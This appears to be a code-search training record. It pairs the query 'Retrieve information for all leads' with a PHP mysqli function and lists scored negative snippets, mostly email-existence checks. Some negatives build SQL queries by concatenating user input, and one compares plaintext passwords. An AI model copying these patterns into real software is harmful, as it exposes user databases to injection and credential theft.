$user=$stm->fetch(PDO::FETCH_OBJ);\n if($user!=null){\n return true;\n }else{\n false;\n }\n }", "public function availableEmail($email)\n {\n\n $pdo = DB::connect();\n $stmt = $pdo->prepare(\"SELECT COUNT(id) FROM users WHERE email = :email\");\n $stmt->bindParam(':email', $email);\n $stmt->execute();\n $result = $stmt->fetchColumn();\n\n if ($result > 0) {\n return false;\n } else {\n return true;\n }\n }", "function exist_email($email, $dbh)\n {\n try {\n $sql = 'SELECT * from users WHERE email LIKE \"' . $email . '\"';\n $res = $dbh->query($sql);\n return ($res->rowCount());\n } catch (PDOException $e) {\n print \"Inscription (exist_email) -> Erreur !: \" . $e->getMessage() . \"<br/>\";\n die();\n }\n }", "public function isEmailInDatabase($email) {\n\t\t$where = $this->_table->getAdapter()->quoteInto('email = ?', $email);\n\t\t$select = $this->_table->select()->where($where);\n\t\t$row = $this->_table->fetchRow($select);\n\t\t\n\t\t$returnVal = true;\n\t\tif(empty($row)) {\n\t\t\t\n\t\t\t$returnVal = false;\n\t\t}\n\t\treturn $returnVal;\n\t}", "public static function existEmail($dbh, $email) {\n $query = \"SELECT * FROM utilisateurs WHERE email = ?\";\n $sth = $dbh->prepare($query);\n $sth->setFetchMode(PDO::FETCH_CLASS, 'Utilisateur');\n $sth->execute(array($email));\n if ($sth->rowCount() > 0)\n return true;\n }", "public function emailExist($email){\n\t\t$query = $this->_db->prepare('SELECT COUNT(*) FROM utilisateur WHERE email=:email');\n\t\t$query->execute(array(':email' => $email));\n\t\t//get result\n\t\treturn (bool) $query->fetchColumn();\n\t}", "function checkForAccount($email, $db) {\n $sql = 'SELECT email FROM users WHERE email = :email';\n $stmt = $db->prepare($sql);\n $stmt->bindValue(':email', $email, PDO::PARAM_STR);\n $stmt->execute();\n $matchEmail = $stmt->fetch(PDO::FETCH_NUM);\n $stmt->closeCursor();\n if(empty($matchEmail)){\n return 0;\n } else {\n return 1;\n \n }\n }", "private function checkEmail(){\n\n $request = $this->_connexion->prepare(\"SELECT COUNT(*) AS num FROM Users WHERE user_email=?\");\n $request->execute(array($this->_userEmail));\n $numberOfRows = $request->fetch();\n\n if($numberOfRows['num'] == 0)\n return false;\n else\n return true;\n\n }", "function checkUserByEmail($email){\n\t\t$rec\t= $this->query(\"SELECT `id` from `users` where `email` = '$email' AND `user_type` = '1'\");\t\t\n\t\tif($rec && mysql_num_rows($rec)>0){\t\t\t\n\t\t\t//if user with the email got found\n\t\t\treturn true;\n\t\t}else{\n\t\t\t//if user with the email got not found\n\t\t\treturn false;\n\t\t}\n\t}", "function check_email_exist(){\n //TODO syntize the query\n $this->SQL = \"SELECT id,private_name,family_name ,email,password FROM users\"\n . \" WHERE email = '\" . $this->params['email'] . \"';\" ;\n \n \n $this->selecet_query();\n \n \n if ( !empty( $this->results[0]['email'] ) ){\n //found mail - check password\n \n if ($this->results[0]['password'] === $this->params['password']){\n \n $this->success_login();\n \n \n } else {\n // if password incorrect\n $this->results =array( 'results'=>'fail');\n \n }\n \n \n } else {\n //didnt found email \n $this->results =array( 'results'=>'fail');\n \n }\n return $this->results;\n \n }", "public function email_exists($email) {\n\n\t\t\t$query = $this->db->prepare(\"SELECT COUNT(`user_id`) FROM `users` WHERE `email`= ?\");\n\t\t\t$query->bindValue(1, $email);\n\t\t\n\t\t\ttry{\n\n\t\t\t\t$query->execute();\n\t\t\t\t$rows = $query->fetchColumn();\n\n\t\t\t\tif($rows == 1){\n\t\t\t\t\treturn true;\n\t\t\t\t}else{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t} catch (PDOException $e){\n\t\t\t\tdie($e->getMessage());\n\t\t\t}\n\n\t\t}", "private function checkuseremail($email){\n\t\t$this->db->where('Email',$email);\n\t\t$this->db->select('Email,Status');\n\n\t\t$query=$this->db->get('tbl_userdetails');\n\t\tif($query->num_rows()==1){\n\t\t\treturn false;\n\t\t}\n\t\telse{\n\t\t\treturn true;\n\t\t}\n\n\t}", "function is_mail_exists($mail){\n\t\t\n\t\t$select_data = \"*\"; \n\t\t\n\t\t$where_data = array(\t// ----------------Array for check data exist ot not\n\t\t\t'email' => $mail\n\t\t);\n\t\t\n\t\t$table = \"userdetails\"; //------------ Select table\n\t\t$result = $this->get_table_where( $select_data, $where_data, $table );\n\t\t\n\t\tif( count($result) > 0 ){ // check if user exist or not\n\t\t\t\n\t\t\treturn true;\n\t\t}\n\t\t\n\t\treturn false;\n\t }", "private function check_for_email($email)\r\n\t{\r\n\t\t//We make use of the global dbCon that we've created in the config file\r\n\t\tglobal $dbCon;\r\n\r\n\t\t//SQL statement where we Count the occurances (it's faster!)\r\n\t\t$sql = \"SELECT COUNT(id) AS students FROM student WHERE email = ?;\";\r\n\t\t$stmt = $dbCon->prepare($sql); //Prepare Statement\r\n\t\tif ($stmt === false)\r\n\t\t{\r\n\t\t\ttrigger_error('SQL Error: ' . $dbCon->error, E_USER_ERROR);\r\n\t\t}\r\n\t\t$stmt->bind_param('s', $email);\r\n\t\t$stmt->execute(); //Execute\r\n\t\t$stmt->bind_result($students); //Get ResultSet\r\n\t\t$stmt->fetch();\r\n\t\t$stmt->close();\r\n\r\n\t\tif ($students > 0)\r\n\t\t{\r\n\t\t\treturn \"Email is already in system. Try to log in!\";\r\n\t\t}\r\n\t\treturn TRUE;\r\n\t}", "function emailExist($email)\n{\n\n global $connection;\n global $errors;\n\n $sql = \"SELECT * FROM tbl_users WHERE email = '$email'\";\n $result = mysqli_query($connection, $sql);\n $row = mysqli_fetch_all($result);\n mysqli_free_result($result);\n\n if (count($row) > 0) {\n\n $errors[] = \"This email has been taken before.\";\n return false;\n }\n\n return true;\n\n}", "private function check_email($email){\r\n $this->db->where('email', $email);\r\n $query = $this->db->get('users');\r\n if($query->num_rows() != 0){\r\n return false;\r\n }else{\r\n return true;\r\n }\r\n }" ]
[ "0.73630977", "0.73501265", "0.7334965", "0.7298924", "0.7294125", "0.729105", "0.72691673", "0.72631127", "0.72321177", "0.72319835", "0.72318554", "0.7219485", "0.72166735", "0.7215964", "0.72064763", "0.71967494", "0.71713805", "0.71675354", "0.7159776", "0.7139058", "0.7087134", "0.70848936", "0.708402", "0.70839727", "0.70795804", "0.7075842", "0.70691353", "0.7068401", "0.7063945", "0.70506406", "0.70479465", "0.70197654", "0.7014165", "0.70092523", "0.7004647", "0.69896466", "0.6984714", "0.6979197", "0.6978552", "0.69753194", "0.6974086", "0.6974063", "0.69545126", "0.6942523", "0.69358295", "0.6935435", "0.6929891", "0.69281965", "0.6926116", "0.6925483", "0.69143015", "0.69", "0.68960935", "0.6883883", "0.6883112", "0.68633103", "0.6861138", "0.68602663", "0.6860095", "0.6856254", "0.68482035", "0.6835112", "0.68336594", "0.6828876", "0.6820611", "0.68196577", "0.6817389", "0.68136084", "0.68132067", "0.6805557", "0.6797261", "0.6794477", "0.679362", "0.6792704", "0.67890036", "0.67883205", "0.6783748", "0.6780372", "0.67740345", "0.6764401", "0.67606664", "0.6754961", "0.67502165", "0.67357355", "0.6733996", "0.6725647", "0.67121565", "0.67092663", "0.67083555", "0.67078364", "0.6706502", "0.6699793", "0.66857064", "0.66805327", "0.6679037", "0.6677609", "0.6677254", "0.66700506", "0.6666211", "0.66651577", "0.6660765" ]
0.0
-1
Retrieve information for all leads
function fetchAllLeads() { global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("SELECT id, fname, lname, address, city_state_zip, phone, mobile, fax, tshirt_size, email, afname, alname, aemail, arelation, aphone, atshirt_size, event_date, date FROM " . $db_table_prefix . "leads"); $stmt->execute(); $stmt->bind_result( $id, $fname, $lname, $address, $city_state_zip, $phone, $mobile, $fax, $tshirt_size, $email, $afname, $alname, $aemail, $arelation, $aphone, $atshirt_size, $event_date, $date); while ($stmt->fetch()) { $row[] = array('id' => $id, 'fname' => $fname, 'lname' => $lname, 'address' => $address, 'city_state_zip' => $city_state_zip, 'phone' => $phone, 'mobile' => $mobile, 'fax' => $fax, 'tshirt_size' => $tshirt_size, 'email' => $email, 'afname' => $afname, 'alname' => $alname, 'aemail' => $aemail, 'arelation' => $arelation, 'aphone' => $aphone, 'atshirt_size' => $atshirt_size, 'event_date' => $event_date, 'date' => $date); } $stmt->close(); return ($row); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function index(){\n $leads = Lead::getAllLead();\n\n return $leads;\n }", "public function index()\n {\n return LeadResource::collection(\n auth()->user()\n ->tbl_leads()\n ->with(\n 'users',\n 'tbl_accounts',\n 'tbl_leadsource',\n 'tbl_leadstatus',\n 'tbl_industrytypes',\n 'tbl_leadsource',\n 'tbl_leadstatus',\n 'tbl_industrytypes',\n 'tbl_countries',\n 'tbl_states')\n ->latest()\n ->paginate(15));\n }", "public function index()\n {\n $leads = Lead::all();\n\n return $this->showAll($leads);\n }", "public function getData(){\n\t\t$url = $this->host . \"/rest/v1/list/\" . $this->listId . \"/leads.json?access_token=\" . $this->getToken();\n\t\tif (isset($this->fields)){\n\t\t\t$url = $url . \"&fields=\" . $this::csvString($this->fields);\n\t\t}\n\t\tif (isset($this->batchSize)){\n\t\t\t$url = $url . \"&batchSize=\" . $this->batchSize;\n\t\t}\n\t\tif (isset($this->nextPageToken)){\n\t\t\t$url = $url . \"&nextPageToken=\" . $this->fields;\n\t\t}\n\t\t$ch = curl_init($url);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, array('accept: application/json',));\n\t\t$response = curl_exec($ch);\n\t\treturn $response;\n\t}", "function get_invites_leads(){\n\t\t$query = $this->db->query(\"SELECT campaignname, company, concat(firstname,' ',lastname) as name, designation, email FROM `vtiger_invites` as invites LEFT JOIN vtiger_campaign as campaign on invites.campaignid=campaign.campaignid INNER JOIN vtiger_leaddetails as leads on invites.crmid = leads.leadid INNER JOIN vtiger_leadscf as leadscf on leads.leadid=leadscf.leadid where module='leads'\");\n\t\treturn $query->result();\n\t}", "public function show(Lead $lead)\n {\n //\n }", "public function show(Lead $lead)\n {\n //\n }", "public function leads()\n {\n $this->load->model('leads_model');\n $data['statuses'] = $this->leads_model->get_status();\n $this->load->view('admin/reports/leads', $data);\n }", "public function index(Request $request){\n\n $query = Lead::with('address','b2b')->where('is_active', 1);\n\n if($request->name){\n $query->where('name','like','%'.$request->name.'%');\n }\n\n if($request->email){\n $query->where('email','like','%'.$request->email.'%');\n }\n\n if($request->mobile_no){\n $query->where('mobile_no',$request->mobile_no);\n }\n\n if(isset($request->status)){\n $query->where('leads_status',$request->status);\n } \n\n if(isset($request->source)){\n $query->where('source',$request->source);\n } \n \n $query->orderBy('id', 'DESC');\n\n $leads = $query->paginate($this->records_per_page);\n\n return $this->sendResponse($leads, 'Lead(s) retrieved successfully.');\n }", "public function index(){\n\n\t\t//If not logged in redirect to login\n\t\tif(is_null($this->session->userdata('user')))\n\t\t\tredirect('/login', 'refresh');\n\n\t\t$this->load->model(\"lead_model\");\n\t\t$data['leads'] = $this->lead_model->get_all();\n\n\t\t$this->load->view('header');\n\t\t$this->load->view('lead/list',$data);\n\t\t$this->load->view('footer');\n\n\t}", "public function show($id){\n $lead = Lead::with('b2b','address')->where('id',$id)->first();\n\n if (is_null($lead)) {\n return $this->sendError('Lead not found.');\n }\n\n return $this->sendResponse($lead, 'Lead retrieved successfully.');\n }", "public function getData(){\n\t\t$url = $this->host . \"/rest/v1/leads.json?access_token=\" . $this->getToken()\n\t\t\t\t\t\t. \"&filterType=\" . $this->filterType . \"&filterValues=\" . $this::csvString($this->filterValues);\n\t\t\n\t\tif (isset($this->batchSize)){\n\t\t\t$url = $url . \"&batchSize=\" . $this->batchSize;\n\t\t}\n\t\tif (isset($this->nextPageToken)){\n\t\t\t$url = $url . \"&nextPageToken=\" . $this->nextPageToken;\n\t\t}\n\t\tif(isset($this->fields)){\n\t\t\t$url = $url . \"&fields=\" . $this::csvString($this->fields);\n\t\t}\n\t\t\n\t\t//debug\n\t\t//echo '<p>url after = ' . $url . '</p>';\n\t\t\n\t\t$ch = curl_init($url);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, array('accept: application/json',));\n\t\t$response = curl_exec($ch);\n\t\treturn $response;\n\t}", "static function get_lead($lead_id){\n\t\t$table = self::get_offline_table();\n\t\tglobal $wpdb;\n\t\t\n\t\treturn $wpdb->get_row(\"select * from $table where lead_id = '$lead_id'\");\n\t}", "public function leadData($id)\n {\n $leads = Lead::select(\n ['id', 'title', 'created_at', 'contact_date', 'user_assigned_id', 'client_id', 'status']\n )\n ->where('user_assigned_id', $id);\n return Datatables::of($leads)\n ->addColumn('titlelink', function ($leads) {\n return '<a href=\"' . route('leads.show', $leads->id) . '\">' . $leads->title . '</a>';\n })\n // ->editColumn('created_at', function ($leads) {\n // return $leads->created_at ? with(new Carbon($leads->created_at))\n // ->format('d/m/Y') : '';\n // })\n // ->editColumn('contact_date', function ($leads) {\n // return $leads->created_at ? with(new Carbon($leads->created_at))\n // ->format('d/m/Y') : '';\n // })\n // ->editColumn('status', function ($leads) {\n // return $leads->status == 1 ? '<span class=\"label label-success\">Open</span>' : '<span class=\"label label-danger\">Closed</span>';\n // })\n ->editColumn('client_id', function ($tasks) {\n return $tasks->client->name;\n })\n ->make(true);\n }", "public function get_all_ads_data()\n\t{\n\t\treturn $this->db->get('ads')->result();\n\t}", "public function index()\n { \n \n $user_id = session('USER_ID');\n $leads = Lead::where(['user_id'=>$user_id])->paginate(10);\n $lead_source_data = DB::table('leads')\n ->distinct()\n ->select('lead_source.id','lead_source.name')\n ->Join('lead_source','leads.lead_source_id','=','lead_source.id')\n ->get();\n $count = Lead::where(['user_id'=>$user_id])->count();\n /** Activity */\n $activity = Activity::where(['user_id'=>$user_id])->get()->toArray();\n if(isset($activity[0]['status'])){\n $activity = $activity[0]['status'];\n }else{\n $activity = 0; \n }\n\n return view('crm.leads.leads',compact('leads','lead_source_data','count','activity'));\n }", "public function get_all(){ \n\t\treturn $this->call('GET', '/admin/blogs.json', array()); \n\t}", "public function indexEdad()\n {\n $leads = Lead::where('table_name', '=', 'edad')\n ->orderBy('id','desc')\n ->paginate(10);\n\n return new LeadCollection($leads);\n }", "public function getAllLeadsOfAgent(Request $request){\n try{\n if(!empty($request->agent_id)){\n $data['leads'] = Customer::where('agent_id', $request->agent_id)->get();\n \n if($data['leads']){\n return response()->json([\n 'agent_customers'=>$data,\n 'status' =>'success',\n 'code' =>200,\n ]);\n }else{\n response()->json([\n 'message'=>'Data not found',\n 'status' =>'error',\n ]);\n }\n }else{\n response()->json([\n 'message'=>'Something went wrong with this request.Please Contact your administrator',\n 'status' =>'error',\n ]);\n }\n }catch(\\Exception $e){\n return response()->json([\n 'message'=>\"something went wrong.Please contact administrator.\".$e->getMessage(),\n 'error' =>true,\n ]);\n }\n }", "public function show($id)\n {\n $leads_show = Tbl_leads::with(\n 'users',\n 'tbl_accounts',\n 'tbl_leadsource',\n 'tbl_leadstatus',\n 'tbl_industrytypes',\n 'tbl_leadsource',\n 'tbl_leadstatus',\n 'tbl_industrytypes',\n 'tbl_countries',\n 'tbl_states')\n ->where('uid','=',auth()->user()->id)\n ->findOrFail($id);\n\n return new LeadResource($leads_show);\n }", "public function getAll()\n {\n $data_detail = ModelHotelDetails::with('hotel')->get();\n return $data_detail;\n }", "protected function getAllDetails()\n\t{\n\t\t $qbLogin = $this->getDefaultEntityManager()->createQueryBuilder();\n\t\t $qbLogin->select('m')\n ->from('MailingList\\Entity\\PhoenixMailingList', 'm')\n\t\t\t ->where('m.status=:st')\n\t\t\t ->andwhere('m.subscribe=:s')\n\t\t\t ->setParameter('s',1)\n\t\t\t ->setParameter('st',1);\n\t\t $result = $qbLogin->getQuery()->getResult();\t\n\t\treturn $result;\n\t}", "public function index()\n {\n $adverts = Advert::orderBy('updated_at', 'desc')->paginate(15);\n //->get();\n //->paginate(15);\n\n // Palauta kaikki resurssina\n return IlmoitusResource::collection($adverts);\n }", "public function findLead()\n {\n return $this\n ->findLeadQueryBuilder()\n ->getQuery()\n ->getSingleResult()\n ;\n }", "public function index()\n\t{\n\t\t$leads = Lead::all();\n\n\t\treturn View::make('lead.index', compact('leads'));\n\t}", "public function getAll() {}", "public function getAll() {}", "public function getAll() {}", "public function getAll() {}", "public function getAll() {}", "public function index(Request $request, Lead $lead)\n {\n $comments = $lead->comments;\n $comments = $comments->map(function ($comment) {\n $comment->created_at = $comment->created_at->setTimezone('Europe/Berlin');\n return $comment;\n });\n if ($request->sort_direction === 'asc') {\n $sortDirection = 'asc';\n } else {\n $sortDirection = 'desc';\n }\n return CommentSingleResource::collection($comments->sortBy('id', SORT_REGULAR, $sortDirection));\n }", "public function alldeals(){\n\t\t$q= $this->db->query('select * from traveldeal');\n\t\treturn $q->result();\n\t}", "public function show($id)\n {\n $leads = Leads::find($id);\n $status = new status;\n $data = $status->all();\n $sales_persons = Helpers::getUsersArrayByRole('Sales');\n $leads['statusid'] = $data;\n $users = User::all()->toArray();\n $leads['users'] = $users;\n $brands = Brand::all()->toArray();\n $leads['brands'] = $brands;\n $leads['selected_products_array'] = json_decode($leads['selected_product']);\n $leads['products_array'] = [];\n $leads['recordings'] = CallRecording::where('lead_id', $leads->id)->get()->toArray();\n $leads['customers'] = Customer::all();\n $tasks = Task::where('model_type', 'leads')->where('model_id', $id)->get()->toArray();\n // $approval_replies = Reply::where('model', 'Approval Lead')->get();\n // $internal_replies = Reply::where('model', 'Internal Lead')->get();\n $reply_categories = ReplyCategory::all();\n\n $leads['multi_brand'] = is_array(json_decode($leads['multi_brand'], true)) ? json_decode($leads['multi_brand'], true) : [];\n // $selected_categories = is_array(json_decode( $leads['multi_category'],true)) ? json_decode( $leads['multi_category'] ,true) : [] ;\n $data['category_select'] = Category::attr(['name' => 'multi_category', 'class' => 'form-control', 'id' => 'multi_category'])\n ->selected($leads->multi_category)\n ->renderAsDropdown();\n $leads['remark'] = $leads->remark;\n\n $messages = Message::all()->where('moduleid', '=', $leads['id'])->where('moduletype', '=', 'leads')->sortByDesc(\"created_at\")->take(10)->toArray();\n $leads['messages'] = $messages;\n\n if (!empty($leads['selected_products_array'])) {\n foreach ($leads['selected_products_array'] as $product_id) {\n $skuOrName = $this->getProductNameSkuById($product_id);\n\n $data['products_array'][$product_id] = $skuOrName;\n }\n }\n\n $users_array = Helpers::getUserArray(User::all());\n\n $selected_categories = $leads['multi_category'];\n return view('leads.show', compact('leads', 'id', 'data', 'tasks', 'sales_persons', 'selected_categories', 'users_array', 'reply_categories'));\n }", "public function index()\n {\n return LawyerCollection::collection(Lawyer::orderBy('id', 'desc')->paginate(10));\n }", "function buscarPorId(Lead $objLead){\r\n\t\t$this->sql = sprintf(\"SELECT * FROM lead WHERE id = %d\",\r\n\t\t\t\tmysqli_real_escape_string( $this->con, $objLead->getId() ) );\r\n\t\t\r\n\t\t$resultSet = mysqli_query($this->con, $this->sql);\r\n\t\tif(!$resultSet){\r\n\t\t\tdie('[ERRO]: '.mysqli_error($this->con));\r\n\t\t}\r\n\t\twhile($row = mysqli_fetch_object($resultSet)){\r\n\t\t\t$this->objLead = new Lead($row->id, $row->empresa, $row->email, $row->telefone, $row->contato, $row->datacadastro, $row->dataedicao , $row->ativo); \r\n\t\t}\r\n\t\t\r\n\t\treturn $this->objLead;\r\n\t}", "function fetchLeadDetails($id) {\n\n $data = $id;\n\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT \n\t\tid,\n\t\tfname,\n\t\tlname,\n\t\taddress,\n\t\tcity_state_zip,\n\t\tphone,\n\t\tmobile,\n\t\tfax,\n\t\ttshirt_size,\n\t\temail,\n\t\tafname,\n\t\talname,\n\t\taemail,\n\t\tarelation,\n\t\taphone,\n\t\tatshirt_size,\n\t\tevent_date,\n\t\tdate\n\t\tFROM \" . $db_table_prefix . \"leads\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"s\", $data);\n\n $stmt->execute();\n $stmt->bind_result(\n $id, $fname, $lname, $address, $city_state_zip, $phone, $mobile, $fax, $tshirt_size, $email, $afname, $alname, $aemail, $arelation, $aphone, $atshirt_size, $event_date, $date);\n\n while ($stmt->fetch()) {\n $row[] = array('id' => $id, 'fname' => $fname, 'lname' => $lname, 'address' => $address, 'city_state_zip' => $city_state_zip, 'phone' => $phone, 'mobile' => $mobile, 'fax' => $fax, 'tshirt_size' => $tshirt_size, 'email' => $email, 'afname' => $afname, 'alname' => $alname, 'aemail' => $aemail, 'arelation' => $arelation, 'aphone' => $aphone, 'atshirt_size' => $atshirt_size, 'event_date' => $event_date, 'date' => $date);\n }\n $stmt->close();\n return ($row);\n}", "public function lead_log_list($lead_id)\n {\n $result = common_select_values('lg.*, (select name from users where user_id = lg.created_by) as log_created_by', 'lead_history_log lg', ' lg.lead_id = \"'.$lead_id.'\"', 'result');\n return $result; \n }", "#[CustomOpenApi\\Operation(id: 'leadIndex', tags: [Tags::Lead, Tags::V1])]\n #[CustomOpenApi\\Parameters(model: Lead::class)]\n #[CustomOpenApi\\Response(resource: LeadResource::class, isCollection: true)]\n public function index()\n {\n $query = fn($q) => $q->tenanted()->with(self::load_relation);\n return CustomQueryBuilder::buildResource(Lead::class, LeadResource::class, $query);\n }", "public function leads()\n {\n return $this->belongsToMany(LeadProxy::modelClass(), 'lead_quotes');\n }", "protected function getAll() {}", "function get_all_data($adviserId=\"\") { \n $this->make_query($adviserId); \n $query = $this->adviceprocess_db->get(); \n return $query->num_fields();\n }", "public function show($id)\n {\n $lead = Lead::find($id);\n\n\n if (is_null($lead)) {\n return $this->sendError('Lead not found.');\n }\n\n\n return $this->sendResponse($lead->toArray(), 'Lead retrieved successfully.');\n }", "public function leads(Lead $lead)\n {\n $range = explode('-', $this->request->range);\n $start_date = date('Y-m-d', strtotime($range[0]));\n $end_date = date('Y-m-d', strtotime($range[1]));\n $this->request->request->add(['date_range' => [$start_date, $end_date]]);\n $leads = $lead->apply($this->request->except(['range']))->with(['AsSource', 'status'])->get();\n $html = view('analytics::_ajax._leads', compact('leads'))->render();\n\n return response()->json(['status' => 'success', 'html' => $html, 'message' => 'Processed successfully'], 200);\n }", "function get_leads_grid()\n {\n\n\t // --------------------------------------------------------------------\n\t $this->general_m->set_table('energieausweis');\n\n\t $contacts = $this->general_m->get_many_by('approved', NULL);\n\n\t $tableData = array();\n\t foreach($contacts as $key => $item)\n\t\t {\n\t\t\t\n\t\t\t$user = $this->ion_auth->get_user();\n\n\t\t\tif(is_object($user))\n\t\t\t {\n\t\t\t\t $mitarbeiter = $user->first_name . ' ' . $user->last_name;\n\t\t\t }\n\t\t\telse\n\t\t\t {\n\t\t\t\t $mitarbeiter = 'n/a'; \n\t\t\t }\n\n\t\t\t$tableData[$key]['created'] = date('d.m.Y',human_to_unix($item->created));\n \t\t\t$tableData[$key]['vorname'] = $item->vorname;\n \t\t\t$tableData[$key]['name'] = $item->nachname;\n \t\t\t$tableData[$key]['plz'] = $item->plz;\n \t\t\t$tableData[$key]['ort'] = $item->ort;\n \t\t\t$tableData[$key]['objekt_art'] = $item->objektart;\n \t\t\t$tableData[$key]['objekt_ort'] = $item->objekt_ort;\n \t\t\t$tableData[$key]['objekt_plz'] = $item->plz_objekt;\n\n\t\t\t$tableData[$key]['id'] = '<span class=\"editDelBtn\"><a href=\"' . site_url('cockpit/' . $this->controller_name . '/delete/' .$item->id) . '\" class=\"gridDelete right hide-for-touch\"><span title=\"L&ouml;schen\" class=\"fa fa-trash-o\"></span></a>&nbsp;<a href=\"' . site_url('cockpit/' . $this->controller_name . '/details/' .$item->id) . '\" class=\"gridEdit right\"><span title=\"Bearbeiten\" class=\"fa fa-edit\"></span></a></span>';\n\n\t\t }\n\n\n\t $tmpl = array ( 'table_open' => '<table id=\"leadsGrid\" class=\"display table table-bordered table-hover dataTable\">');\n\n\n\t $this->table->set_template($tmpl);\n\n\t $this->table->set_heading(array( 'Datum', 'Vorname','Name','PLZ','Ort','Objekt Art','Objekt Ort','Objekt PLZ',''));\n\n\n\t $grid = $this->table->generate($tableData);\n\n\t return $grid;\n }", "protected function loadLoop(Backend_Lead $lead)\n {\n $loop = [];\n $basic_info = $this->dotloop_api->getLocalLoopInfo($this->auth->info('partners.dotloop.account_id'), $_GET['loop'], $lead->info('email'));\n if (!empty($basic_info)) {\n // Basic Loop Info Loaded from Local DB Record\n $loop['basic_info'] = $basic_info;\n\n // Get Participants from Local DB Records\n $loop['participants'] = $this->dotloop_api->getLocalLoopParticipants($this->auth->info('partners.dotloop.account_id'), $_GET['loop']);\n\n // Request + Cache the Advanced Loop Details\n $index = hash('sha256', $this->auth->info('partners.dotloop.account_id') . $loop['basic_info']['dotloop_profile_id'] . $loop['basic_info']['dotloop_loop_id'] . 'loop_details');\n $cached = $this->cache->getCache($index);\n if (!is_null($cached)) {\n $loop['details'] = $cached;\n } else {\n $loop['details'] = $this->dotloop_api->getLoopDetails($loop['basic_info']['dotloop_profile_id'], $loop['basic_info']['dotloop_loop_id']);\n // Cache for 15 mins. Just want to avoid multiple API calls for page refreshes, etc...\n if (!empty($loop['details'])) {\n $this->cache->setCache($index, $loop['details'], false, (60 * 15));\n }\n }\n unset($index, $cached);\n\n /**\n * @TODO - Task lists aren't worth displaying until we can expand on them (list tasks, task details)\n * First will need to store task data locally - otherwise it will be too taxing on our API rate limit\n */\n// $loop['task_lists'] = $dotloopApi->getLoopTaskLists($loop['basic_info']['dotloop_profile_id'], $loop['basic_info']['dotloop_loop_id']);\n\n // Request + Cache the Loop Activity History\n $index = hash('sha256', $this->auth->info('partners.dotloop.account_id') . $loop['basic_info']['dotloop_profile_id'] . $loop['basic_info']['dotloop_loop_id'] . 'loop_activities');\n $cached = $this->cache->getCache($index);\n if (!is_null($cached)) {\n $loop['activities'] = $cached;\n } else {\n $loop['activities'] = $this->dotloop_api->getLoopActivities($loop['basic_info']['dotloop_profile_id'], $loop['basic_info']['dotloop_loop_id']);\n // Cache for 15 mins. Just want to avoid multiple API calls for page refreshes, etc...\n if (!empty($loop['activities'])) {\n $this->cache->setCache($index, $loop['activities'], false, (60 * 15));\n }\n }\n unset($index, $cached);\n }\n return $loop ?: [];\n }", "public static function list_deals() {\n\t\t$msg = '';\n\t\t$query = self::getDeals();\n\t\tinclude 'views/_list_deals.php';\n\t}", "public function index()\n {\n //\n return response([ 'data' => HouseholdDetailResource::collection(HouseholdDetail::all()), 'message' => 'Retrieved successfully'], 200);\n\n }", "public function index()\n {\n //\n\t\t$leads = Lead::all()->toArray();\n\t\t\n\t\t//recently viewed\n\t\t$views = RecentlyViewed::all()->toArray();\n\t\t\n\t\treturn view('lead', compact('leads', 'views'));\n }", "public function getLeads()\n {\n $result = array();\n foreach ($this->findNodes('/p:package/p:lead') as $lead) {\n $result[] = array(\n 'name' => $this->getNodeTextRelativeTo('./p:name', $lead),\n 'user' => $this->getNodeTextRelativeTo('./p:user', $lead),\n 'email' => $this->getNodeTextRelativeTo('./p:email', $lead),\n 'active' => $this->getNodeTextRelativeTo('./p:active', $lead),\n );\n }\n return $result;\n }", "public function getData(){\n\t\t$url = $this->host . \"/rest/v1/lists/\" . $this->listId . \"/leads/ismember.json?access_token=\" . $this->getToken();\n\t\tif (isset($this->id)){\n\t\t\t$url .= \"&id=\" + $this::csvString($this->ids);\n\t\t}\n\t\t$ch = curl_init($url);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, array('accept: application/json',));\n\t\t$response = curl_exec($ch);\n\t\treturn $response;\n\t}", "public function index()\n {\n //\n \n return Donation::with(['user', 'agency'])->get();\n }", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "function getLeadStatus($id,$lead_type)\n {\n $objLeads_submit = ORM::factory('leadsubmit');\n $resultset = $objLeads_submit->select('tbl_client.vUsername')->join('tbl_client','left')->on('tbl_lead_submit.client_id', '=','tbl_client.iClient_id')->where('lead_types','=',$lead_type)->where('lead_id',\"=\",$id)->find_all();\n foreach($resultset as $key=>$value){ \n\t\t$client_name = '<strong>'.$value->vUsername.'</strong>';\n if($value->post_response=='Success')\n echo \"<a class='tag blue' >\".$client_name.\"-$\".$value->price.\"</a>\";\n else\n echo \"<a class='tag red' >\".$client_name.\"</a>\";\n }\n // echo Database::instance()->last_query;\n //return $id;\n }", "#[CustomOpenApi\\Operation(id: 'leadShow', tags: [Tags::Lead, Tags::V1])]\n #[OpenApi\\Parameters(factory: DefaultHeaderParameters::class)]\n #[CustomOpenApi\\Response(resource: LeadWithLatestActivityResource::class, statusCode: 200)]\n public function show(Lead $lead): LeadWithLatestActivityResource\n {\n return new LeadWithLatestActivityResource($lead->loadMissing(self::load_relation));\n }", "public function getDetail();", "public static function adLogList()\n {\n $adLog = ORM::for_table('sales_inte_online_inquiries', 'ksi')\n ->find_array();\n\n return $adLog;\n }", "public function index()\n {\n return Reviewer::allJoin_id();\n }", "public function accounts()\n {\n return $this->get('ach/relationships');\n }", "public function getAll()\n {\n return\n DB::table('attendances')\n ->select(\n 'id',\n 'code',\n 'name',\n 'description',\n 'permit_code as permitCode'\n )\n ->where([\n ['tenant_id', $this->requester->getTenantId()],\n ['company_id', $this->requester->getCompanyId()]\n ])\n ->get();\n }", "public function allrecord_get() { \n $result = $this->Api_model->selectData('info', 'id, 